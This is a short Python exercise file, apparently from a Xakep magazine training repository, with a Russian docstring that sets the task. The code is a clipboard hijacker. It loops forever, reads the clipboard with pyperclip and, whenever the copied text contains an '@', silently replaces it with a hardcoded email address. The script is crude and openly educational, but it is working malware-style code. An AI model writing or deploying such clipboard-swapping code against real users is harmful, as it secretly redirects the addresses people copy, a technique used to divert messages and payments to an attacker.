Xakep_magazine/Clipboard.py

34 lines
1.8 KiB
Python
Raw Permalink Normal View History

2021-07-31 17:42:21 +04:00
"""
Напиши программу,
которая в цикле мониторит буфер обмена,
периодически получая из него текст
с помощью pyperclip.paste(), и, если видит,
что кемто был скопирован email,
заменяет этот email другим,
заранее прописанным в коде, помещая его
в буфер обмена командой
pyperclip.copy('coolhacker@xakep.ru')
"""
# Подключим модуль для работы с буфером обмена
import pyperclip
# Подключим модуль для работы с системным временем
import time
# Задаем переменную old и присваиваем ей пустую строку
old = ''
email = 'nikolai@xakep.ru'
# Начнем бесконечный цикл слежения за буфером обмена
while True:
# Кладем в переменную s содержимое буфера обмена
s = pyperclip.paste()
# Если полученное содержимое не равно предыдущему, то:
if(s != old):
# печатаем его
for i in s:
if i == '@':
pyperclip.copy(email)
# в переменную old записываем текущее пойманное значение
# чтобы в следующий виток цикла не повторяться и не печатать то, что уже поймано
old = s
# В конце витка цикла делаем паузу в одну секунду, чтобы содержимое буфера обмена успело прогрузиться
time.sleep(1)